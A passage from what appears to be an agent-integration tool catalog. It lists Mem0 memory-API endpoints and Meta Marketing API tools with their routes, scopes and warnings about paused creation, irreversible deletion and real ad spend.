/api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/runs/{run_id}/memories. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_projects_by_project_id_dream_stats (read) — Read Dream reflection statistics for a project (Platform) via GET /api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/stats GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/stats. Scopes: api. mem0_get_api_v1_orgs_organizations_by_org_id_projects_by_project_id_members (read) — List a project's members and the role each holds (Platform) via GET /api/v1/orgs/organizations/{org_id}/projects/{project_id}/members GET /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/members. Scopes: api. mem0_get_api_v1_webhooks_projects_by_project_id (read) — List the webhooks registered on one project (Platform) via GET /api/v1/webhooks/projects/{project_id} GET /api/v1/mem0/api/v1/webhooks/projects/{project_id}. Scopes: api. mem0_get_v1_entities (read) — List the users, agents, apps and runs memories are attributed to, optionally narrowed to one organization or project (Memory v1) via GET /v1/entities GET /api/v1/mem0/v1/entities. Scopes: api. mem0_get_v1_entities_filters (read) — List the filter values available when querying entities (Memory v1) via GET /v1/entities/filters GET /api/v1/mem0/v1/entities/filters. Scopes: api. mem0_get_v1_event_by_event_id (read) — Read one event by its id (Memory v1) via GET /v1/event/{event_id} GET /api/v1/mem0/v1/event/{event_id}. Scopes: api. mem0_get_v1_events (read) — List the events recorded in the project the key resolves to (Memory v1) via GET /v1/events GET /api/v1/mem0/v1/events. Scopes: api. mem0_get_v1_memories (read) — List memories narrowed by entity, metadata, categories, keywords, fields and date range, as v1 query parameters (Memory v1) via GET /v1/memories GET /api/v1/mem0/v1/memories. Scopes: api. mem0_get_v1_memories_by_entity_type_by_entity_id (read) — List the memories attributed to one entity, addressed by type and id (Memory v1) via GET /v1/memories/{entity_type}/{entity_id} GET /api/v1/mem0/v1/memories/{entity_type}/{entity_id}. Scopes: api. mem0_get_v1_memories_by_memory_id (read) — Read one memory by its id (Memory v1) via GET /v1/memories/{memory_id} GET /api/v1/mem0/v1/memories/{memory_id}. Scopes: api. mem0_get_v1_memories_by_memory_id_history (read) — Read the revision history of one memory (Memory v1) via GET /v1/memories/{memory_id}/history GET /api/v1/mem0/v1/memories/{memory_id}/history. Scopes: api. mem0_get_v1_memories_events (read) — List the change events recorded against memories, paginated (Memory v1) via GET /v1/memories/events GET /api/v1/mem0/v1/memories/events. Scopes: api. mem0_get_v1_ping (read) — Check the API key and resolve the organization and project it belongs to -- the cheapest authenticated read Mem0 publishes (Memory v1) via GET /v1/ping GET /api/v1/mem0/v1/ping. Scopes: api. mem0_get_v1_stats (read) — Read usage statistics for the organization and project the key resolves to (Memory v1) via GET /v1/stats GET /api/v1/mem0/v1/stats. Scopes: api. mem0_get_v2_entities_by_entity_type_by_entity_id (read) — Read one entity, addressed by its type and id (v2) (Memory v2) via GET /v2/entities/{entity_type}/{entity_id} GET /api/v1/mem0/v2/entities/{entity_type}/{entity_id}. Scopes: api. mem0_patch_api_v1_orgs_organizations_by_org_id_projects_by_project_id (write) — Change a project's name, description, custom instructions, custom categories, memory depth, decay, graph and multilingual settings (Platform) via PATCH /api/v1/orgs/organizations/{org_id}/projects/{project_id} PATCH /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}. Scopes: api. mem0_patch_api_v1_orgs_organizations_by_org_id_projects_by_project_id_dream_config (write) — Turn Dream reflection on or off for a project and set its mode (Platform) via PATCH /api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/config PATCH /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/config. Scopes: api. mem0_post_api_v1_orgs_organizations (write) — Create an organization with the given name (Platform) via POST /api/v1/orgs/organizations POST /api/v1/mem0/api/v1/orgs/organizations. Scopes: api. mem0_post_api_v1_orgs_organizations_by_org_id_members (write) — Add a member to the organization by email address, with a role (Platform) via POST /api/v1/orgs/organizations/{org_id}/members POST /api/v1/mem0/api/v1/orgs/organizations/{org_id}/members. Scopes: api. mem0_post_api_v1_orgs_organizations_by_org_id_projects (write) — Create a project in the organization with the given name (Platform) via POST /api/v1/orgs/organizations/{org_id}/projects POST /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects. Scopes: api. mem0_post_api_v1_orgs_organizations_by_org_id_projects_by_project_id_dream_preview (write) — Ask for a preview of what Dream reflection would produce for a project (Platform) via POST /api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/preview POST /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/dream/preview. Scopes: api. mem0_post_api_v1_orgs_organizations_by_org_id_projects_by_project_id_members (write) — Add a member to the project by email address, with a role (Platform) via POST /api/v1/orgs/organizations/{org_id}/projects/{project_id}/members POST /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/members. Scopes: api. mem0_post_api_v1_webhooks_projects_by_project_id (write) — Register a webhook on a project for the named event types (Platform) via POST /api/v1/webhooks/projects/{project_id} POST /api/v1/mem0/api/v1/webhooks/projects/{project_id}. Scopes: api. mem0_post_v1_agents (write) — Register an agent entity so memories can be attributed to it; takes an agent_id, a name and optional metadata (Memory v1) via POST /v1/agents POST /api/v1/mem0/v1/agents. Scopes: api. mem0_post_v1_apps (write) — Register an app entity so memories can be attributed to it; takes an app_id, a name and optional metadata (Memory v1) via POST /v1/apps POST /api/v1/mem0/v1/apps. Scopes: api. mem0_post_v1_exports (write) — Start an export of the memories matching `filters` into the structure the required `schema` describes (Memory v1) via POST /v1/exports POST /api/v1/mem0/v1/exports. Scopes: api. mem0_post_v1_exports_get (write) — Retrieve a previously requested export by its id or by filters; a POST because the selector rides in the body (Memory v1) via POST /v1/exports/get POST /api/v1/mem0/v1/exports/get. Scopes: api. mem0_post_v1_feedback (write) — Record feedback against one memory id, with an optional reason (Memory v1) via POST /v1/feedback POST /api/v1/mem0/v1/feedback. Scopes: api. mem0_post_v1_memories (write) — Add memories inferred from a message list, with categories, custom instructions, metadata and expiry options; the v1 add route, superseded by the v3 one (Memory v1) via POST /v1/memories POST /api/v1/mem0/v1/memories. Scopes: api. mem0_post_v1_memories_search (write) — Semantic search over memories with a query string and v1 entity filters, optional keyword search, reranking and top_k (Memory v1) via POST /v1/memories/search POST /api/v1/mem0/v1/memories/search. Scopes: api. mem0_post_v1_runs (write) — Register a run entity so memories can be attributed to it; takes a run_id, a name and optional metadata (Memory v1) via POST /v1/runs POST /api/v1/mem0/v1/runs. Scopes: api. mem0_post_v1_summary (write) — Produce a summary of the memories matching a required `filters` object (Memory v1) via POST /v1/summary POST /api/v1/mem0/v1/summary. Scopes: api. mem0_post_v1_users (write) — Register a user entity so memories can be attributed to it; takes a user_id and optional metadata (Memory v1) via POST /v1/users POST /api/v1/mem0/v1/users. Scopes: api. mem0_post_v2_memories (write) — List memories with a REQUIRED v2 `filters` object in the request body -- a different request shape from the v1 query-parameter form, and a different filter semantics (Memory v2) via POST /v2/memories POST /api/v1/mem0/v2/memories. Scopes: api. mem0_post_v2_memories_search (write) — Semantic search with a REQUIRED v2 `filters` object beside the query, plus reranking, a score threshold and top_k (Memory v2) via POST /v2/memories/search POST /api/v1/mem0/v2/memories/search. Scopes: api. mem0_post_v3_memories (write) — List memories with a required v3 `filters` object plus categories, keywords, fields, date range and expired-memory handling (Memory v3) via POST /v3/memories POST /api/v1/mem0/v3/memories. Scopes: api. mem0_post_v3_memories_add (write) — Add memories from a message list (v3), with graph extraction, temporal reasoning, structured-data schema, categories, custom instructions and expiry options (Memory v3) via POST /v3/memories/add POST /api/v1/mem0/v3/memories/add. Scopes: api. mem0_post_v3_memories_search (write) — Semantic search (v3) with a required `filters` object, categories, a reference date, reranking, a threshold and expired-memory handling (Memory v3) via POST /v3/memories/search POST /api/v1/mem0/v3/memories/search. Scopes: api. mem0_put_api_v1_orgs_organizations_by_org_id_members (write) — Change one organization member's role; the member is named by email address in the request body (Platform) via PUT /api/v1/orgs/organizations/{org_id}/members PUT /api/v1/mem0/api/v1/orgs/organizations/{org_id}/members. Scopes: api. mem0_put_api_v1_orgs_organizations_by_org_id_projects_by_project_id_members (write) — Change one project member's role; the member is named by email address in the request body (Platform) via PUT /api/v1/orgs/organizations/{org_id}/projects/{project_id}/members PUT /api/v1/mem0/api/v1/orgs/organizations/{org_id}/projects/{project_id}/members. Scopes: api. mem0_put_api_v1_webhooks_by_webhook_id (write) — Change a webhook's URL, name or event types (Platform) via PUT /api/v1/webhooks/{webhook_id} PUT /api/v1/mem0/api/v1/webhooks/{webhook_id}. Scopes: api. mem0_put_v1_batch (write) — Update several memories in one request; the memories ride in the request body (Memory v1) via PUT /v1/batch PUT /api/v1/mem0/v1/batch. Scopes: api. mem0_put_v1_memories_by_memory_id (write) — Replace one memory's text, metadata or expiration date (Memory v1) via PUT /v1/memories/{memory_id} PUT /api/v1/mem0/v1/memories/{memory_id}. Scopes: api. ================================================================================ ## Meta Marketing URL: https://www.agenticfabriq.com/integrations/meta-marketing Section: Integrated Tools Meta Marketing — 238 MCP tools Provider key: meta_marketing. Scopes: ads_management, ads_read, business_management, catalog_management, leads_retrieval, pages_read_engagement, pages_show_list. Connect: AF hosted — your end user signs in to their account using Agentic Fabriq's OAuth app (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. meta_marketing_activate_ad (write, destructive) — DESTRUCTIVE — start delivery on one ad. It begins competing in auctions and spending its ad set's budget immediately. Preview it first with get_ad_previews: this is the point at which a wrong creative becomes something the public sees and the account pays for. Spends real money and puts a creative in front of the public. POST /api/v1/tools/meta-marketing/activate-ad. Scopes: ads_management. meta_marketing_activate_ad_set (write, destructive) — DESTRUCTIVE — start delivery on one ad set. It begins spending its budget immediately, at the daily rate get_ad_set reports, against real money. The only undo is pause_ad_set, which stops further spend and recovers nothing already spent. NOTE: an ad set whose campaign is paused will not deliver until the campaign is activated too. Spends real money. This is the action that turns an ad set's budget into charges. POST /api/v1/tools/meta-marketing/activate-ad-set. Scopes: ads_management. meta_marketing_activate_campaign (write, destructive) — DESTRUCTIVE — start delivery. From the moment this returns, this campaign's ad sets begin spending their budgets against real money, and there is no undo that recovers what was spent — only pause_campaign, which stops further spend. Read get_campaign and the ad sets' budgets first so you know the daily rate you are turning on. Spends real money. This is the action that turns budget into charges. POST /api/v1/tools/meta-marketing/activate-campaign. Scopes: ads_management. meta_marketing_add_users_to_custom_audience (write, destructive) — DESTRUCTIVE — add customer records to a custom audience so ads can target them. EVERY VALUE MUST ALREADY BE SHA-256 HASHED, lowercase hex, 64 characters. Agentic Fabriq validates that before building the request and refuses the call otherwise, so a raw email address cannot travel through Agentic Fabriq to Meta. Normalise before hashing exactly as Meta specifies: trim and lowercase an email; strip symbols and leading zeros and prefix the country code on a phone; a-z only for names. MADID, EXTERN_ID and LOOKALIKE_VALUE are the only schema keys that are not hashed. Maximum 10,000 records per call. The inverse is remove_users_from_custom_audience, and list_custom_audience_sessions is how you see whether anything matched. Sends customer records to Meta. Agentic Fabriq refuses any value that is not already a SHA-256 digest, so no raw personal data passes through it — but the people in the list are still being given to Meta, and the account must hold the rights to do that. POST /api/v1/tools/meta-marketing/add-audience-users. Scopes: ads_management. meta_marketing_archive_ad (write, destructive) — DESTRUCTIVE — archive an ad. It stops delivering and becomes read-only. REVERSIBLE: unarchive_ad returns it to PAUSED. POST /api/v1/tools/meta-marketing/archive-ad. Scopes: ads_management. meta_marketing_archive_ad_set (write, destructive) — DESTRUCTIVE — archive an ad set. It stops delivering and becomes read-only. REVERSIBLE: unarchive_ad_set returns it to PAUSED. POST /api/v1/tools/meta-marketing/archive-ad-set. Scopes: ads_management. meta_marketing_archive_campaign (write, destructive) — DESTRUCTIVE — archive a campaign. It stops delivering, drops out of the default Ads Manager view and can no longer be edited. REVERSIBLE: unarchive_campaign returns it to PAUSED, and both ship in the same migration. POST /api/v1/tools/meta-marketing/archive-campaign. Scopes: ads_management. meta_marketing_browse_targeting_categories (read) — Walk Meta's targeting taxonomy as a tree instead of searching it. Useful when you do not know the vocabulary — 'what behaviour categories exist at all' is not a searchable question. POST /api/v1/tools/meta-marketing/browse-targeting. Scopes: ads_read. meta_marketing_copy_ad (write) — Duplicate an ad, optionally into a different ad set. THE COPY IS CREATED PAUSED and Agentic Fabriq refuses to set status_option. POST /api/v1/tools/meta-marketing/copy-ad. Scopes: ads_management. meta_marketing_copy_ad_set (write) — Duplicate an ad set, optionally with its ads (deep_copy), optionally into a different campaign. THE COPY IS CREATED PAUSED and Agentic Fabriq refuses to set status_option, so duplicating an active ad set cannot double the account's daily spend. POST /api/v1/tools/meta-marketing/copy-ad-set. Scopes: ads_management. meta_marketing_copy_campaign (write) — Duplicate a campaign, optionally with its ad sets and ads (deep_copy). THE COPY IS CREATED PAUSED: Agentic Fabriq forces status_option=PAUSED and refuses to set it, so duplicating cannot start a second campaign spending alongside the original — which is the mistake this operation makes easiest to commit. POST /api/v1/tools/meta-marketing/copy-campaign. Scopes: ads_management. meta_marketing_create_ad (write) — Create an ad inside an ad set, pointing at a creative. IT IS CREATED PAUSED and cannot be created active. Either pass creative as {"creative_id": "…"} referring to a creative made with create_ad_creative, or an inline creative spec. Preview it with get_ad_previews before activating. POST /api/v1/tools/meta-marketing/create-ad. Scopes: ads_management. meta_marketing_create_ad_creative (write) — Create a creative — the headline, body, image or video, link and call to action an ad renders. Creating one spends nothing and delivers nothing; it becomes visible only when an ad referencing it is activated. object_story_spec names the page_id (from list_pages or list_promotable_pages), the image_hash (from list_ad_images) or video_id (from list_ad_videos), and the link. Check it with generate_previews first. POST /api/v1/tools/meta-marketing/create-ad-creative. Scopes: ads_management. meta_marketing_create_ad_label (write) — Create an ad label. Costs nothing, delivers nothing, and it is how an agent keeps track of what it built. POST /api/v1/tools/meta-marketing/create-ad-label. Scopes: ads_management. meta_marketing_create_ad_set (write) — Create an ad set — the object that holds a budget, a schedule, a bid and a targeting spec. A BUDGET IS REQUIRED: exactly one of daily_budget or lifetime_budget must be supplied unless the parent campaign carries a campaign-budget-optimisation budget, and Agentic Fabriq will not create an ad set with no ceiling anywhere. IT IS CREATED PAUSED and cannot be created active. Build targeting with search_targeting_interests, check the individual options with validate_targeting, and check the finished spec with describe_targeting_in_words or get_reach_estimate first. Creates a PAUSED ad set with a required budget ceiling. It cannot deliver until activate_ad_set is granted and called. POST /api/v1/tools/meta-marketing/create-ad-set. Scopes: ads_management. meta_marketing_create_ad_set_budget_schedule (write, destructive) — DESTRUCTIVE — schedule a budget increase on one ad set for a future window. time_start, time_end, budget_value and budget_value_type are all REQUIRED; Agentic Fabriq creates no open-ended increase. Spends real money, later. POST /api/v1/tools/meta-marketing/create-ad-set-budget-schedule. Scopes: ads_management. meta_marketing_create_campaign (write) — Create a campaign. IT IS CREATED PAUSED AND CANNOT BE CREATED ACTIVE: Agentic Fabriq forces status=PAUSED and refuses a status argument, so this action cannot spend money. Turning delivery on is a separate, confirm-gated action (activate_campaign). special_ad_categories is REQUIRED by Meta — pass an empty array for ordinary advertising, or the categories that apply (HOUSING, EMPLOYMENT, CREDIT, ISSUES_ELECTIONS_POLITICS, ONLINE_GAMBLING_AND_GAMING, FINANCIAL_PRODUCTS_SERVICES). Creates a PAUSED campaign. It cannot deliver and cannot spend until activate_campaign is granted and called. POST /api/v1/tools/meta-marketing/create-campaign. Scopes: ads_management. meta_marketing_create_campaign_budget_schedule (write, destructive) — DESTRUCTIVE — schedule a budget increase for a future window (a high-demand period). budget_value, time_start and time_end are all REQUIRED: this is a future spend commitment and Agentic Fabriq will not create an open-ended one. Read the existing schedules with list_campaign_budget_schedules first — they stack. Spends real money, later. Granting it lets an agent commit budget for a date nobody is watching. POST /api/v1/tools/meta-marketing/create-campaign-budget-schedule. Scopes: ads_management. meta_marketing_create_custom_audience (write) — Create a rule-based custom audience — website visitors from the pixel, app users, engagement with a Page or Instagram account, or a catalog-driven audience. NO PERSONAL DATA IS SUPPLIED HERE: the audience is defined by a rule Meta evaluates against signals the account already owns. To create an audience from a customer list, create it here with subtype CUSTOM and then upload hashed records with add_users_to_custom_audience. POST /api/v1/tools/meta-marketing/create-custom-audience. Scopes: ads_management. meta_marketing_create_custom_conversion (write) — Define a custom conversion from a pixel event and a rule. It starts counting from creation and is not retroactive. Meta caps the number of custom conversions per ad account, and a deleted one still counts against the cap for a while. POST /api/v1/tools/meta-marketing/create-custom-conversion. Scopes: ads_management. meta_marketing_create_lookalike_audience (write) — Create a lookalike audience from an existing source audience. Costs nothing and reaches nobody until an ad set targets it. lookalike_spec names the countries and the ratio (0.01 = the closest 1% of a country's population; larger is broader and less similar). The source audience id comes from list_custom_audiences. POST /api/v1/tools/meta-marketing/create-lookalike-audience. Scopes: ads_management. meta_marketing_create_pixel (write) — Create a Meta Pixel on this ad account. Creating one collects nothing on its own — the pixel only receives data once its code is installed on a site or events are sent to it. Meta allows a limited number of pixels per ad account. POST /api/v1/tools/meta-marketing/create-pixel. Scopes: ads_management. meta_marketing_create_product_audience (write) — Create a dynamic-ads audience from catalog interactions — people who viewed, added to cart or purchased items in a product set. No personal data is supplied: the audience is a rule Meta evaluates against the account's own pixel signals. POST /api/v1/tools/meta-marketing/create-product-audience. Scopes: ads_management. meta_marketing_create_product_set (write) — Create a filtered subset of a catalog for a dynamic ad to promote. Creating one changes no ad and no delivery until an ad set references it. Check the filter first with list_catalog_products. POST /api/v1/tools/meta-marketing/create-product-set. Scopes: catalog_management. meta_marketing_create_publisher_block_list (write) — Create an empty publisher block list. It narrows where ads can run, never widens it, and it takes effect only when an ad set references it. POST /api/v1/tools/meta-marketing/create-publisher-block-list. Scopes: ads_management. meta_marketing_create_reach_frequency_prediction (write) — Ask Meta to predict the reach and frequency a budget would buy over a window. A prediction RESERVES NOTHING and spends nothing; Agentic Fabriq refuses the `action` argument that would convert it into a reservation, because a reservation is a commitment to spend the whole budget. POST /api/v1/tools/meta-marketing/create-reach-frequency-prediction. Scopes: ads_management. meta_marketing_delete_ad (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — delete one ad. Meta publishes no un-delete. archive_ad is the reversible alternative and keeps the ad's insights addressable. Irreversible. archive_ad is the reversible action next to it. POST /api/v1/tools/meta-marketing/delete-ad. Scopes: ads_management. meta_marketing_delete_ad_creative (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — delete a creative. Any ad still referencing it stops delivering. Meta publishes no un-delete for a creative. POST /api/v1/tools/meta-marketing/delete-ad-creative. Scopes: ads_management. meta_marketing_delete_ad_images (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — remove one uploaded image from the ad account's library by hash. Any creative referencing the hash stops rendering, and the bytes cannot be recovered from Meta. Requires exactly one hash: Meta's endpoint accepts a list, and Agentic Fabriq does not forward one. POST /api/v1/tools/meta-marketing/delete-ad-images. Scopes: ads_management. meta_marketing_delete_ad_label (write, destructive) — DESTRUCTIVE — delete an ad label. Nothing that carried it is deleted, but the grouping is gone and cannot be recovered. POST /api/v1/tools/meta-marketing/delete-ad-label. Scopes: ads_management. meta_marketing_delete_ad_set (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — delete one ad set and every ad beneath it. Meta publishes no un-delete. archive_ad_set is the reversible alternative. Irreversible. archive_ad_set is the reversible action next to it. POST /api/v1/tools/meta-marketing/delete-ad-set. Scopes: ads_management. meta_marketing_delete_ad_video (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — delete one uploaded video. Any creative referencing it stops rendering and the bytes cannot be recovered from Meta. POST /api/v1/tools/meta-marketing/delete-ad-video. Scopes: ads_management. meta_marketing_delete_campaign (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — delete one campaign and every ad set and ad beneath it. Meta publishes no un-delete: a deleted campaign cannot be restored through the API or through Ads Manager, and its historical insights become unreachable by id. archive_campaign is the reversible alternative and it is what you almost always want. Irreversible. Meta publishes no un-delete; archive_campaign is the reversible action next to it. POST /api/v1/tools/meta-marketing/delete-campaign. Scopes: ads_management. meta_marketing_delete_custom_audience (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — delete an audience. Every ad set targeting or excluding it changes what it delivers to, IMMEDIATELY and without pausing; an ad set that excluded existing customers starts advertising to them. Meta publishes no un-delete, and for a customer-list audience the records must be re-uploaded from scratch. Call list_custom_audience_ads first. Irreversible, and it silently changes the delivery of every ad set that referenced the audience. POST /api/v1/tools/meta-marketing/delete-custom-audience. Scopes: ads_management. meta_marketing_delete_custom_conversion (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — delete a custom conversion. Every ad set optimising toward it loses its optimisation target and delivery degrades immediately; historical reporting for it becomes unreachable. Meta publishes no un-delete. POST /api/v1/tools/meta-marketing/delete-custom-conversion. Scopes: ads_management. meta_marketing_delete_product_set (write, destructive) — DESTRUCTIVE AND IRREVERSIBLE — delete a product set. Any ad promoting it stops delivering. The catalog items themselves are untouched. Meta publishes no un-delete for a product set. POST /api/v1/tools/meta-marketing/delete-product-set. Scopes: catalog_management. meta_marketing_describe_targeting_in_words (read) — Meta's plain-English rendering of an arbitrary targeting spec, before it belongs to any ad set. The check a human would do, available to an agent for free. POST /api/v1/tools/meta-marketing/describe-targeting. Scopes: ads_read. meta_marketing_generate_previews (read) — Render a creative SPEC that does not exist yet. The cheapest possible loop: draft object_story_spec, look at it, fix it, and only then call create_ad_creative. Nothing is created. POST /api/v1/tools/meta-marketing/generate-previews. Scopes: ads_read. meta_marketing_get_ad (read) — Get one ad in full, including its creative reference, tracking_specs, conversion_specs, issues_info and recommendations. GET /api/v1/tools/meta-marketing/ad. Scopes: ads_read. meta_marketing_get_ad_account (read) — Get one ad account in full: name, currency, timezone, business, account_status, disable_reason, spend_cap, amount_spent, balance, funding_source_details and the special ad categories it is enrolled in. The diagnostic for 'why is nothing delivering' — account_status 2 is DISABLED and 3 is UNSETTLED. GET /api/v1/tools/meta-marketing/ad-account. Scopes: ads_read. meta_marketing_get_ad_account_controls (read) — Read the account-level delivery controls: audience_controls (minimum age, excluded countries) and placement controls. These silently narrow every ad set beneath them, so an ad set that looks correctly targeted can still deliver nowhere. GET /api/v1/tools/meta-marketing/ad-account-controls. Scopes: ads_read. meta_marketing_get_ad_account_insights (read) — Performance for a whole ad account over a window: impressions, reach, frequency, clicks, spend, CTR, CPC, CPM, actions and cost per action, optionally split by level, by breakdown and by day. THE reporting action. Insights numbers are computed in the AD ACCOUNT'S timezone and settle over about 28 days, so today's figures move. Read-only. Meta's most rate-limited family: ask for the smallest field set that answers the question. POST /api/v1/tools/meta-marketing/ad-account-insights. Scopes: ads_read. meta_marketing_get_ad_account_max_bid (read) — The highest bid this ad account is allowed to set, in the account's minor currency unit. The upper bound set_ad_set_bid is checked against by Meta. GET /api/v1/tools/meta-marketing/max-bid. Scopes: ads_read. meta_marketing_get_ad_account_minimum_budgets (read) — The minimum daily and lifetime budget this account may set, per currency and per billing event. Call it before create_ad_set: a budget below the minimum is rejected by Meta with an error that does not say what the minimum is. GET /api/v1/tools/meta-marketing/minimum-budgets. Scopes: ads_read. meta_marketing_get_ad_creative (read) — Get one creative in full, including its complete object_story_spec. GET /api/v1/tools/meta-marketing/ad-creative. Scopes: ads_read. meta_marketing_get_ad_creative_previews (read) — Render a creative in a placement without attaching it to an ad. The pre-flight for create_ad, and it costs nothing. POST /api/v1/tools/meta-marketing/ad-creative-previews. Scopes: ads_read. meta_marketing_get_ad_insights (read) — Performance for one ad, optionally split by breakdown. POST /api/v1/tools/meta-marketing/ad-insights. Scopes: ads_read. meta_marketing_get_ad_label (read) — Get one ad label with its name and creation time. GET /api/v1/tools/meta-marketing/ad-label. Scopes: ads_read. meta_marketing_get_ad_place_page_set (read) — Get one store-location page set with its locations and matching rules. GET /api/v1/tools/meta-marketing/ad-place-page-set. Scopes: ads_read. meta_marketing_get_ad_previews (read) — Render an ad as it will appear in a given placement, returned as an HTML iframe snippet. The pre-flight for activate_ad: it is the only way to see what a creative actually looks like without spending money. POST /api/v1/tools/meta-marketing/ad-previews. Scopes: ads_read. meta_marketing_get_ad_rule (read) — Get one automated rule with its full evaluation and execution spec. GET /api/v1/tools/meta-marketing/ad-rule. Scopes: ads_read. meta_marketing_get_ad_set (read) — Get one ad set in full, including its complete targeting spec, promoted_object, attribution_spec, issues_info and recommendations. The read that makes a targeting change safe: it shows what is there before you replace it. GET /api/v1/tools/meta-marketing/ad-set. Scopes: ads_read. meta_marketing_get_ad_set_delivery_estimate (read) — Meta's estimate of the daily reach and results this ad set's current targeting and budget will produce. Diagnostic for 'audience too narrow' before any money is spent. GET /api/v1/tools/meta-marketing/ad-set-delivery-estimate. Scopes: ads_read. meta_marketing_get_ad_set_insights (read) — Performance for one ad set, optionally broken down to ad level. POST /api/v1/tools/meta-marketing/ad-set-insights. Scopes: ads_read. meta_marketing_get_ad_set_targeting_sentence_lines (read) — Meta's own plain-English rendering of an ad set's targeting spec ('People who live in the United States, aged 25-54, who match Interests: Cycling'). Far easier for an agent to check than the raw spec, and it is what Ads Manager shows a human. GET /api/v1/tools/meta-marketing/ad-set-targeting-sentence. Scopes: ads_read. meta_marketing_get_ad_study (read) — Get one study with its type, window, cells and objectives. GET /api/v1/tools/meta-marketing/ad-study. Scopes: ads_read. meta_marketing_get_ad_targeting_sentence_lines (read) — Meta's plain-English rendering of the targeting an ad is delivering against. GET /api/v1/tools/meta-marketing/ad-targeting-sentence. Scopes: ads_read. meta_marketing_get_ads_volume (read) — How many ads this account is currently running against the ad volume limit Meta enforces per page. Diagnostic: once the limit is reached, new ads are rejected and existing ones stop being editable, with no other signal. GET /api/v1/tools/meta-marketing/ads-volume. Scopes: ads_read. meta_marketing_get_async_ad_request_set (read) — Get one bulk ad-creation request set with its counts of succeeded, failed and in-progress requests. GET /api/v1/tools/meta-marketing/async-ad-request-set. Scopes: ads_read. meta_marketing_get_audience_funnel (read) — The overlap and progression between this account's audiences — how many people in the website audience are also in the purchase audience. The read that makes exclusion targeting decidable. GET /api/v1/tools/meta-marketing/audience-funnel. Scopes: ads_read. meta_marketing_get_authenticated_identity (read) — Who this connection is acting as: the Meta user or system user id and name behind the stored credential. The first call to make when a permission error is confusing — a System User token and a person's token look identical from the outside and have completely different access. GET /api/v1/tools/meta-marketing/me. Scopes: ads_read. meta_marketing_get_business (read) — Get one Business Manager with its verification_status, two_factor_type, primary_page and creation details. verification_status is what gates Advanced Access to every Marketing API permission — an unverified business explains a class of permission errors nothing else does. GET /api/v1/tools/meta-marketing/business. Scopes: business_management. meta_marketing_get_campaign (read) — Get one campaign in full, including its budget, bid strategy, special ad categories, issues_info (why Meta is limiting it) and recommendations. GET /api/v1/tools/meta-marketing/campaign. Scopes: ads_read. meta_marketing_get_campaign_insights (read) — Performance for one campaign, optionally broken down to ad set or ad level. POST /api/v1/tools/meta-marketing/campaign-insights. Scopes: ads_read. meta_marketing_get_catalog_diagnostics (read) — Meta's own list of what is wrong with a catalog: items rejected for missing fields, broken image URLs, price mismatches against the website, and items not matched to the pixel. THE diagnostic for dynamic ads that will not deliver. Read-only, and it is the first place to look when a dynamic ad campaign delivers nothing. POST /api/v1/tools/meta-marketing/catalog-diagnostics. Scopes: catalog_management. meta_marketing_get_catalog_event_stats (read) — How many catalog-related pixel events (ViewContent, AddToCart, Purchase) matched items in this catalog, and how many did not. The match rate is what decides whether dynamic retargeting can work at all. POST /api/v1/tools/meta-marketing/catalog-event-stats. Scopes: catalog_management. meta_marketing_get_creative_insights (read) — Meta's own assessment of a creative's quality — the standards it meets and the improvements it suggests. Diagnostic for a creative with poor delivery that has not been outright disapproved. GET /api/v1/tools/meta-marketing/creative-insights. Scopes: ads_read. meta_marketing_get_custom_audience (read) — Get one audience in full, including its rule, its lookalike spec, its size estimate and its delivery status. The pre-flight for any change to it. GET /api/v1/tools/meta-marketing/custom-audience. Scopes: ads_read. meta_marketing_get_custom_audience_health (read) — Meta's own assessment of whether an audience is usable: its match rate, its size trend, and whether it is too small to deliver. Pure diagnostic, and the answer to 'why does this audience reach nobody'. GET /api/v1/tools/meta-marketing/custom-audience-health. Scopes: ads_read. meta_marketing_get_custom_audience_shared_account_info (read) — Details of the sharing relationships on one audience: which business shared it, to which account, and in which direction. GET /api/v1/tools/meta-marketing/custom-audience-shared-account-info. Scopes: ads_read. meta_marketing_get_custom_conversion (read) — Get one custom conversion with its full rule and its aggregation settings. GET /api/v1/tools/meta-marketing/custom-conversion. Scopes: ads_read. meta_marketing_get_custom_conversion_stats (read) — How often a custom conversion has fired over time. Diagnostic: a custom conversion whose rule stopped matching reports zero here while the pixel itself looks healthy. GET /api/v1/tools/meta-marketing/custom-conversion-stats. Scopes: ads_read. meta_marketing_get_delivery_estimate (read) — Meta's estimate of the daily results a targeting spec, optimization goal and bid would produce on this account, before any object exists. The pre-flight for create_ad_set. POST /api/v1/tools/meta-marketing/delivery-estimate. Scopes: ads_read. meta_marketing_get_extended_credit (read) — Get one credit line with its limit, balance, liability type and allocation. GET /api/v1/tools/meta-marketing/extended-credit. Scopes: business_management. meta_marketing_get_insights_report_results (read) — Read the rows of a COMPLETED asynchronous insights report. Check get_insights_report_status first: Meta answers this endpoint successfully while a job is still running, and the empty page it returns is 